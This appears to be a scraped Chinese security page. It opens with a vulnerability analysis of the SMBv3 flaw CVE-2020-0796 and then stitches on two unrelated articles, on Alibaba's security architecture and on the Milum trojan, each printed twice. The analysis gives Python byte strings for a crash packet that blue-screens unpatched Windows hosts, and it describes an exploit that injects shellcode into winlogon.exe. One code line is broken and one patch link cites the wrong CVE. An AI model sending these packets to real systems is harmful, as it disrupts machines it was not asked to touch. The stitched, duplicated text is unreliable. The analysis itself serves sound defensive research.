CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

3.漏洞文件

漏洞存在于srv2.sys文件中

4.漏洞函数

该漏洞涉及到了多个函数:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities

二、漏洞深入分析

1. 基础数据结构

主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:

首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。

对以上各字段做简要说明:

字段 含义
ProtocolId (4 bytes) 协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC,“ S”,“ M”和“ B”。
OriginalCompressedSegmentSize (4 bytes) 原始压缩数据的大小(以字节为单位)。
CompressionAlgorithm (2 bytes) 此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一,“ NONE”除外。
Flags (2 bytes) 必须为2个特定值之一
Offset/Length (4 bytes) 如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。

CompressionAlgorithms字段中指定的算法:

Flags字段可选的固定值:

2. 分析环境搭建及配置

Windows版本:1909,未安装安全更新补丁(KB4551762)

配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on

结果如下:

调试机windbg配置:

3. 静态分析

3.1 补丁对比

首先进行安全更新前后的补丁对比:

根据已掌握信息,重点查看Svr2DecompressData函数:

可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。

3.2 IDA反编译查看源代码

srv2.sys文件拖入IDA,先观察函数实现:

1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:

如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数–Srv2DecompressMessageAsync函数。

2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:

Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:

在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。

3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。

nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:

由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

4. 动态分析

4.1 SMB2通信流程

SMB2的通信流程如下图所示:

SMB2协议定义的内容:

Protocol negotiation (SMB2 NEGOTIATE)  //协议协商

User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF)   //用户认证

Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT)  //共享访问

File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL)    //文件访问

Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY)   //目录访问

Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO)      //卷访问

Cache coherency (SMB2 OPLOCK_BREAK)             //缓存一致性       

Simple messaging (SMB2 ECHO)          //消息传递

SMB2.1新增:

Protocol Negotiation (SMB2 NEGOTIATE)   

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 WRITE)

Cache Coherency (SMB2 OPLOCK_BREAK)

Hash Retrieval (SMB2 IOCTL)   //哈希检索

SMB3.x新增:

Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL)  //dialect验证

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)

Hash Retrieval (SMB2 IOCTL)

Encryption (SMB2 TRANSFORM_HEADER)

SMB3.1.1新增(1903引入):

Compression (SMB2 COMPRESSION_TRANSFORM_HEADER)   //支持压缩数据

4.2 连接建立过程

首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。

参考SMB2通信pcap和官方协议文档构造数据包

# NetBios Session Service
Negotiate_pkt=b'\x00'                  # Message Type
Negotiate_pkt+=b'\x00\x00\xe6'         # Length
# SMB2 Header
Negotiate_pkt+=b'\xfe\x53\x4d\x42'     # ProtocolId
Negotiate_pkt+=b'\x40\x00'             # StructureSize
Negotiate_pkt+=b'\x00\x00'             # CreditCharge
Negotiate_pkt+=b'\x00\x00'             # ChannelSequence
Negotiate_pkt+=b'\x00\x00'             # Reserved
Negotiate_pkt+=b'\x00\x00'             # Command
Negotiate_pkt+=b'\x01\x00'             # CreditRequest
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Flags
Negotiate_pkt+=b'\x00\x00\x00\x00'     # NextCommand(Chain Offset)
Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00'     # MessageId 
Negotiate_pkt+=b'\xff\xfe\x00\x00'     # ProcessId
Negotiate_pkt+=b'\x00\x00\x00\x00'     # TreeId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00'     # SessionId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # Signature
# Negotiate Protocol Request
Negotiate_pkt+=b'\x24\x00'             # StructureSize
Negotiate_pkt+=b'\x05\x00'             # DialectCount
Negotiate_pkt+=b'\x01\x00'             # SecurityMode
Negotiate_pkt+=b'\x00\x00'             # Reserved 
Negotiate_pkt+=b'\x40\x00\x00\x00'     # Capabilities 
Negotiate_pkt+=b'\xa2\x8e\xf8\x84'     #ClientGuid 
Negotiate_pkt+=b'\xe6\x65\xea\x11'
Negotiate_pkt+=b'\xb4\xc6\x00\x1c'
Negotiate_pkt+=b'\x42\xbf\x6a\x9c'
Negotiate_pkt+=b'\x70\x00\x00\x00'     # NegotiateContextOffset
Negotiate_pkt+=b'\x03\x00'             # NegotiateContextCount
Negotiate_pkt+=b'\x00\x00'             # Reserved2
Negotiate_pkt+=b'\x02\x02'             # Dialect: SMB 2.0.2
Negotiate_pkt+=b'\x10\x02'             # Dialect: SMB 2.1
Negotiate_pkt+=b'\x00\x03'             # Dialect: SMB 3.0
Negotiate_pkt+=b'\x02\x03'             # Dialect: SMB 3.0.2
Negotiate_pkt+=b'\x11\x03'             # Dialect: SMB 3.1.1
Negotiate_pkt+=b'\x00\x00'
#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
Negotiate_pkt+=b'\x01\x00'             # Type
Negotiate_pkt+=b'\x26\x00'             # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Reserved
Negotiate_pkt+=b'\x01\x00'             # HashAlgorithmCount
Negotiate_pkt+=b'\x20\x00'             # SaltLength
Negotiate_pkt+=b'\x01\x00'             # HashAlgorithm
Negotiate_pkt+=b'\xcf\xa4\x93\xd0'     # Salt
Negotiate_pkt+=b'\xf3\xd1\x41\x8c'
Negotiate_pkt+=b'\x1a\xcb\x36\x4d'
Negotiate_pkt+=b'\x9f\x77\x27\x6d'
Negotiate_pkt+=b'\x72\x80\x2b\xf4'
Negotiate_pkt+=b'\x71\x94\x64\x99'
Negotiate_pkt+=b'\xb3\x91\x4b\x7f'
Negotiate_pkt+=b'\xf8\x92\x47\xe2'
Negotiate_pkt+=b'\x00\x00'
#Negotiate Context SMB2_COMPRESSION_CAPABILITIES
Negotiate_pkt+=b'\x03\x00'             # Type
Negotiate_pkt+=b'\x0e\x00'             # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Reserved
Negotiate_pkt+=b'\x01\x00'             # CompressionAlgorithmCount
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00
Negotiate_pkt+=b'\x02\x00'             # CompressionAlgorithmId:LZ77

(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)

根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:

根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。

根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:

# NetBios
Smb2_crash_pkt=b'\x00'                   # Message Type
Smb2_crash_pkt+=b'\x00\x00\x20'          # Length
# SMB2 Compression Transform Header
Smb2_crash_pkt+=b'\xfc\x53\x4d\x42'      # ProtocolId
Smb2_crash_pkt+=b'\x10\x00\x00\x00'      # OriginalCompressedSegmentSize
Smb2_crash_pkt+=b'\x02\x00'              # CompressionAlgorithm LZ77
Smb2_crash_pkt+=b'\x00\x00'              # Flags
Smb2_crash_pkt+=b'\x01\x00\x00\x00'      # Offset
# Compressed SMB3 Data
#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试
Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'

4.3 WinDbg动态调试

1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:

断点命中,系统停在srv2!Srv2DecompressData函数。

2. 单步跟踪,来到srv2!Srv2DecompressData + 0×68地址处:

在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。

3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:

前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。

4. 跟进,分析SmbCompressionDecompress函数:

该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。

至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。

5. crash的PoC复现

修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:

成功触发漏洞,造成目标主机蓝屏,PoC测试成功。

6. 本地提权的EXP复现

2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:

而查看该LPE EXP的关键源代码:

该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。

7. 更新后的srv2.sys文件

对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。

8. 流量分析

使用两个不同的PoC造成的蓝屏的流量截图如下:

第一种,设置Offset/Length字段为ffffffff:

第二种,设置OriginalCompressedSegmentSize字段为ffffffff:

9. 漏洞防御策略

熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。

利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。

目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。

三、影响范围

目前受影响的Microsoft版本:

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

四、修复建议

该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

时间轴

2020/03/11  深信服千里目实验室监测到互联网中关于CVE-2020-0796的信息

2020/03/11  深信服千里目实验室发布微软3月份补丁日重点漏洞通告,涉及该漏洞        

2020/03/12  微软正式更新CVE-2020-0796漏洞补丁

2020/03/13深信服千里目实验室发布漏洞分析文章以及深信服解决方案

2020/03/14  互联网中出现蓝屏PoC,千里目实验室第一时间进行了复现分析,深信服解决方案可以轻松防御

2020/03/30  互联网中出现本地提权利用EXP

2020/03/31  深信服千里目实验室进行EXP分析,并发布漏洞深入分析文章

参考链接

[1].https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

[2].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

[3].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271

[4].https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

[5].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

*本文作者:深信服千里目安全实验室,转载请注明来自FreeBuf.COM

“新基建”带来了新的发展机遇,也对网络空间安全带来了全新的挑战。两个多月新冠疫情磨砺,让加快发展数字化成为社会共识,以5G、数据中心等为代表的新型基础设施建设,也成为经济复苏的新路径。

近日,阿里巴巴发布数字基建新一代安全架构。新架构整合阿里巴巴20年来的各项安全能力和运营经验,形成一套即插即用的标准化安全架构,可帮助社会各界在数字化进程中构建完整的安全基础设施。

值得注意的是,新一代安全架构提出了“安全基建”这样一个全新的概念。阿里安全首席架构师钱磊表示,新一代安全架构立足于切实解决安全问题,是通过各种实战场景沉淀并进化出来的“真金白银”。安全基建对数字经济最大意义在于,为各类App和网站等数字经济实体的搭建过程建立标准化流程,确保数字经济实体在建设之初就运行在较高安全基线上。

伴随不同业态成长进化的安全能力

WechatIMG72.jpeg图说:阿里巴巴发布数字基建新一代安全架构

数字技术在疫情期间的普及运用,让更多人认识到数字化的重要性。

新基建所拓展的创新发展空间,并不是简单的基础设施建设,而是数字基建与不同产业化应用协调推进的过程中,助推创新和拓展新消费、新制造、新服务。

在这个过程中,数字技术的广泛应用、大量业务迁移到数字基础设施,带来的安全风险挑战早已超出传统网络安全攻防的维度。在新的交互场景下,网络攻击不仅会影响虚拟空间的正常运行,还会逆向为不同的线下生产、生活场景带来诸多安全挑战。

要解决数字基建面临的新风险,这需要转变网络空间安全思维。

阿里安全首席架构师钱磊认为,传统网络安全关注的重心大多在安全技术和产品方面,解决单点的问题;而真正的安全能力是在具体业务的场景中千锤百炼成长出来的,会运用多种技术的组合去解决业务问题。不同业态和数字技术结合所带来的全新化学反应,也要求新一代的安全架构要立足甲方视角,以解决不同场景下的实际问题为目标。

WechatIMG73.jpeg图说:阿里安全首席架构师钱磊

“新一代的安全架构的理念源自于实战,是让安全能力和业务数字化建设实现同步。它的最大特点是从甲方视角出发,建立了安全技术和产品、安全基建、安全运营的架构体系。”钱磊表示,阿里巴巴拥有互联网企业中最为丰富的业态,阿里安全在20多年间的发展历程中,立足于不断创新的业务场景,从最初的网络安全攻防进化出了新一代安全架构的三层体系。 

在数字基建浪潮的推动下,各行各业过去被动、块状的网络空间安全能力建设模式,将升级为和业务主动结合、共同进化的体系化框架。

新基建亟待数字经济实体的建设标准

伴随着大数据、人工智能、区块链、物联网、5G等新技术快速迭代和持续创新,各种新兴技术越来越广泛地应用到各行各业的虚拟应用中。不同产业的数字化迁移速度加快,对网络空间安全建设标准的需求也尤为迫切。

业界专家认为,新基建中大量新技术的应用,带来的安全风险也急剧上升。三个无法回避的事实是:三方软件必然存在漏洞,升级成本高;攻击者关注的应用风险面增加、攻击手法更加多样;基于网络边界的防护必然会被突破。

如何从安全能力建设的源头进行标准化风险预防,成为阿里巴巴新一代安全架构的最大亮点。

“我们可以将网络比作道路,将计算和存储系统比作土地,基于此建立的App和网站等数字经济实体就可以类比为商业建筑,支撑着经济活动的运行。它的搭建过程和建筑工程其实很类似,会用到大量的原材料,经历很多的阶段和工序,各个环节都有出问题的可能性。” 钱磊介绍说,安全基建概念的提出,关注在数字经济实体的搭建过程中建立标准化流程、引入关键技术,解决的就是数字经济实体搭建的“安全施工标准”问题。

“举个例子来说,过去的网络安全关注的是造城墙本身,但是买来的砖头出现了问题和漏洞,城墙盖的再好也没用。另外,城门被攻破后是否就一马平川,有没有瓮城做安全区隔也是设计者必须考虑的问题。”钱磊说,新一代安全架构的重心是安全基建标准,内容涵盖软件供应链安全、技术和业务漏洞检测、隐私与内容风险检测、应用可信等多个维度。“从建设之初就要开始打造免疫力,真正让每一块砖头都安全可溯源。”

从安全能力建设到安全能力服务

在阿里巴巴发布的新一代安全架构中,除了强调生产要素标准化的安全基建层,还包括了安全技术和安全运营两个维度。

由攻防技术、数据安全技术、密码学、算法等安全技术构建的安全技术矩阵,是新一代安全架构的能力“底座”。

“我们还是以建筑举例,除了底层的安全技术能力,如果说安全基建提供了生产和建设标准,安全运营则相当于运行管理的的角色。”钱磊介绍说,基于甲方视角的安全能力,一方面可以更好地为具体业务护航,另一方面也可以在和不同业态磨合中,碰撞出更新更强的能力。

过去20年间,阿里安全为阿里巴巴经济体业务提供的安全服务,涵盖新零售、智慧物流等多个线上线下领域。

每天超过17亿次的恶意访问,仅DDOS攻击单次最大流量足以让一座城市的网络瘫痪;2019年天猫双11实现2684亿元的总成交额,阿里安全保护了388亿次用户操作,拦截了22亿次恶意攻击……保障数字化业务健康发展的背后,是安全服务能力和业务的同生共长实现的精细化防御。

钱磊认为,当前数字技术正在构建一个前所未有的全新世界,网络空间安全能力建设也成为新基建的核心构件之一。阿里愿意将多年沉淀安全标准和社会各界共享,共同护航数字基建的广阔未来。

据悉,阿里巴巴已启动建设顶级安全技术发展与交流平台,计划通过校企合作等方式,在三年内培养更多安全专业人才。目前,阿里安全已经面向国内高校开放校招通道,遴选优秀实习生进入阿里学习体验。

 


“新基建”带来了新的发展机遇,也对网络空间安全带来了全新的挑战。两个多月新冠疫情磨砺,让加快发展数字化成为社会共识,以5G、数据中心等为代表的新型基础设施建设,也成为经济复苏的新路径。

近日,阿里巴巴发布数字基建新一代安全架构。新架构整合阿里巴巴20年来的各项安全能力和运营经验,形成一套即插即用的标准化安全架构,可帮助社会各界在数字化进程中构建完整的安全基础设施。

值得注意的是,新一代安全架构提出了“安全基建”这样一个全新的概念。阿里安全首席架构师钱磊表示,新一代安全架构立足于切实解决安全问题,是通过各种实战场景沉淀并进化出来的“真金白银”。安全基建对数字经济最大意义在于,为各类App和网站等数字经济实体的搭建过程建立标准化流程,确保数字经济实体在建设之初就运行在较高安全基线上。

伴随不同业态成长进化的安全能力

WechatIMG72.jpeg图说:阿里巴巴发布数字基建新一代安全架构

数字技术在疫情期间的普及运用,让更多人认识到数字化的重要性。

新基建所拓展的创新发展空间,并不是简单的基础设施建设,而是数字基建与不同产业化应用协调推进的过程中,助推创新和拓展新消费、新制造、新服务。

在这个过程中,数字技术的广泛应用、大量业务迁移到数字基础设施,带来的安全风险挑战早已超出传统网络安全攻防的维度。在新的交互场景下,网络攻击不仅会影响虚拟空间的正常运行,还会逆向为不同的线下生产、生活场景带来诸多安全挑战。

要解决数字基建面临的新风险,这需要转变网络空间安全思维。

阿里安全首席架构师钱磊认为,传统网络安全关注的重心大多在安全技术和产品方面,解决单点的问题;而真正的安全能力是在具体业务的场景中千锤百炼成长出来的,会运用多种技术的组合去解决业务问题。不同业态和数字技术结合所带来的全新化学反应,也要求新一代的安全架构要立足甲方视角,以解决不同场景下的实际问题为目标。

WechatIMG73.jpeg图说:阿里安全首席架构师钱磊

“新一代的安全架构的理念源自于实战,是让安全能力和业务数字化建设实现同步。它的最大特点是从甲方视角出发,建立了安全技术和产品、安全基建、安全运营的架构体系。”钱磊表示,阿里巴巴拥有互联网企业中最为丰富的业态,阿里安全在20多年间的发展历程中,立足于不断创新的业务场景,从最初的网络安全攻防进化出了新一代安全架构的三层体系。 

在数字基建浪潮的推动下,各行各业过去被动、块状的网络空间安全能力建设模式,将升级为和业务主动结合、共同进化的体系化框架。

新基建亟待数字经济实体的建设标准

伴随着大数据、人工智能、区块链、物联网、5G等新技术快速迭代和持续创新,各种新兴技术越来越广泛地应用到各行各业的虚拟应用中。不同产业的数字化迁移速度加快,对网络空间安全建设标准的需求也尤为迫切。

业界专家认为,新基建中大量新技术的应用,带来的安全风险也急剧上升。三个无法回避的事实是:三方软件必然存在漏洞,升级成本高;攻击者关注的应用风险面增加、攻击手法更加多样;基于网络边界的防护必然会被突破。

如何从安全能力建设的源头进行标准化风险预防,成为阿里巴巴新一代安全架构的最大亮点。

“我们可以将网络比作道路,将计算和存储系统比作土地,基于此建立的App和网站等数字经济实体就可以类比为商业建筑,支撑着经济活动的运行。它的搭建过程和建筑工程其实很类似,会用到大量的原材料,经历很多的阶段和工序,各个环节都有出问题的可能性。” 钱磊介绍说,安全基建概念的提出,关注在数字经济实体的搭建过程中建立标准化流程、引入关键技术,解决的就是数字经济实体搭建的“安全施工标准”问题。

“举个例子来说,过去的网络安全关注的是造城墙本身,但是买来的砖头出现了问题和漏洞,城墙盖的再好也没用。另外,城门被攻破后是否就一马平川,有没有瓮城做安全区隔也是设计者必须考虑的问题。”钱磊说,新一代安全架构的重心是安全基建标准,内容涵盖软件供应链安全、技术和业务漏洞检测、隐私与内容风险检测、应用可信等多个维度。“从建设之初就要开始打造免疫力,真正让每一块砖头都安全可溯源。”

从安全能力建设到安全能力服务

在阿里巴巴发布的新一代安全架构中,除了强调生产要素标准化的安全基建层,还包括了安全技术和安全运营两个维度。

由攻防技术、数据安全技术、密码学、算法等安全技术构建的安全技术矩阵,是新一代安全架构的能力“底座”。

“我们还是以建筑举例,除了底层的安全技术能力,如果说安全基建提供了生产和建设标准,安全运营则相当于运行管理的的角色。”钱磊介绍说,基于甲方视角的安全能力,一方面可以更好地为具体业务护航,另一方面也可以在和不同业态磨合中,碰撞出更新更强的能力。

过去20年间,阿里安全为阿里巴巴经济体业务提供的安全服务,涵盖新零售、智慧物流等多个线上线下领域。

每天超过17亿次的恶意访问,仅DDOS攻击单次最大流量足以让一座城市的网络瘫痪;2019年天猫双11实现2684亿元的总成交额,阿里安全保护了388亿次用户操作,拦截了22亿次恶意攻击……保障数字化业务健康发展的背后,是安全服务能力和业务的同生共长实现的精细化防御。

钱磊认为,当前数字技术正在构建一个前所未有的全新世界,网络空间安全能力建设也成为新基建的核心构件之一。阿里愿意将多年沉淀安全标准和社会各界共享,共同护航数字基建的广阔未来。

据悉,阿里巴巴已启动建设顶级安全技术发展与交流平台,计划通过校企合作等方式,在三年内培养更多安全专业人才。目前,阿里安全已经面向国内高校开放校招通道,遴选优秀实习生进入阿里学习体验。

 


网络攻击(某些是针对工业目标的攻击)使用了以前未知的木马,称为Milum。

trojan-malware.jpg

一项针对中东组织的恶意软件的活动日前已经被发现,该活动与以前的攻击活动没有任何相似之处。该活动以代码内的C++类名“WildPressure”为自己命名,使用了以前未知的恶意软件,研究人员将其命名为Milum。

卡巴斯基的研究员在9月份的时候破坏了WildPressure命令与控制(C2)域中的一个,他们表示,访问恶意基础框架的IP中,大部分是来自中东的,而其余的IP则包括扫描仪、TOR出口节点、VPN链接。卡巴斯基发现,受害者也包括一些工业目标。

这项研究表明,这个恶意软件会执行基本的系统侦察工作,包括清点存放在受感染机器上的文件类型。而且,它还可以从其C2获取更新,这更新中也有可能包括一些第二阶段的功能。

简单直接

卡巴斯基安全研究员丹尼斯·莱格佐(Denis Legezo)在星期二的一篇文章中写道,构建该木马的方法非常简单,举个例子,所有的Milum示例都是独立的可执行文件。

此外,代码的内置配置数据包括硬编码的C2 URL和用于通信的加密/解密密钥。安装后,该恶意软件会创建一个名为“\ ProgramData \ Micapp \ Windows \”的目录,并解析此配置数据,以形成发送到其C2的信标。

为了发送信标,Milum使用配置数据中存储的64字节密钥在HTTP POST请求中传输压缩的JSON数据,该数据使用RC4加密。而压缩方面,该木马使用的是嵌入式gzip代码(gzip是一种流行的数据压缩技术)。

卡巴斯基的研究人员发现,传播最广泛的是作为不可见工具栏窗口存在的应用程序,这意味着受害者是检测不到它的。

困难归因

至于功能方面,Milum代码中的命令处理程序包括:用于连接到C2的指令;记录文件属性(包括目录中的属性,标记为隐藏、只读、归档、系统、可执行文件);收集系统的信息以验证目标并确定防病毒产品状态;更新恶意软件;删除自己。

为了集中精力,操作员使用了样本中也已硬编码的目标ID。

Legezo说:“在这之中,我们发现了HatLandM30和HatLandid3,这两者我们都不熟悉。”

然而,卡巴斯基方面表示,攻击活动的剩余部分都没有任何线索,使归因变得很困难。在活动基础架构方面,运营商使用了从ISP OVH和Netzbetrieb租用的虚拟专用服务器(VPS),以及使用通过代理匿名服务在Domains中注册的域名。

Legezo还表示,恶意软件作者使用的C ++代码方式(存储在二进制文件的资源部分中的base64编码JSON格式的配置数据)相当通用。

Legezo解释说:

迄今为止,我们还没有观察到与任何已知的actor或活动有关的基于代码或受害者的强烈相似之处。任何相似之处在归因方面都应被视为薄弱环节,并且可以简单地从以前的著名案例中复制出来。的确,近年来,这种“向更有经验的攻击者学习”的循环已被一些有趣的新actor采用。

值得一看

研究人员发现了三个此前未被发现的循环传播的木马样本。所有这些都是在去年3月份的时候首次编译的,而感染是在去年5月底时开始的,也就是说这木马感染活动是全年都在持续的。

该时间表与其他方面相结合,使得Legezo怀疑该恶意软件还处于开发的早期阶段,他预计恶意软件还会有后续其他的活动。

首先,样本上有一个“1.0.1”的版本标记。并且,在用于与命令和控制(C2)服务器进行通信的HTTP POST请求中,有一些字段可以选择使用不同的编程语言,这就表示他们或许有计划启用非C++版本的代码(如果现存代码中还没有的话)。

Legezo说:

我们考虑保留这些文件的唯一原因是,如果攻击者拥有数种以不同语言编写的木马,就可以与同一个控制服务器一起工作。

Legezo补充说明,Milum值得观察,特别是考虑到它对中东工业目标的袭击。但是,其个性的缺乏,可能使其在将来的战役中成为变色龙。他总结表示,该恶意软件并非专门针对任何类型的受害者而设计的,可以在其他操作中重复使用。

网络攻击(某些是针对工业目标的攻击)使用了以前未知的木马,称为Milum。

trojan-malware.jpg

一项针对中东组织的恶意软件的活动日前已经被发现,该活动与以前的攻击活动没有任何相似之处。该活动以代码内的C++类名“WildPressure”为自己命名,使用了以前未知的恶意软件,研究人员将其命名为Milum。

卡巴斯基的研究员在9月份的时候破坏了WildPressure命令与控制(C2)域中的一个,他们表示,访问恶意基础框架的IP中,大部分是来自中东的,而其余的IP则包括扫描仪、TOR出口节点、VPN链接。卡巴斯基发现,受害者也包括一些工业目标。

这项研究表明,这个恶意软件会执行基本的系统侦察工作,包括清点存放在受感染机器上的文件类型。而且,它还可以从其C2获取更新,这更新中也有可能包括一些第二阶段的功能。

简单直接

卡巴斯基安全研究员丹尼斯·莱格佐(Denis Legezo)在星期二的一篇文章中写道,构建该木马的方法非常简单,举个例子,所有的Milum示例都是独立的可执行文件。

此外,代码的内置配置数据包括硬编码的C2 URL和用于通信的加密/解密密钥。安装后,该恶意软件会创建一个名为“\ ProgramData \ Micapp \ Windows \”的目录,并解析此配置数据,以形成发送到其C2的信标。

为了发送信标,Milum使用配置数据中存储的64字节密钥在HTTP POST请求中传输压缩的JSON数据,该数据使用RC4加密。而压缩方面,该木马使用的是嵌入式gzip代码(gzip是一种流行的数据压缩技术)。

卡巴斯基的研究人员发现,传播最广泛的是作为不可见工具栏窗口存在的应用程序,这意味着受害者是检测不到它的。

困难归因

至于功能方面,Milum代码中的命令处理程序包括:用于连接到C2的指令;记录文件属性(包括目录中的属性,标记为隐藏、只读、归档、系统、可执行文件);收集系统的信息以验证目标并确定防病毒产品状态;更新恶意软件;删除自己。

为了集中精力,操作员使用了样本中也已硬编码的目标ID。

Legezo说:“在这之中,我们发现了HatLandM30和HatLandid3,这两者我们都不熟悉。”

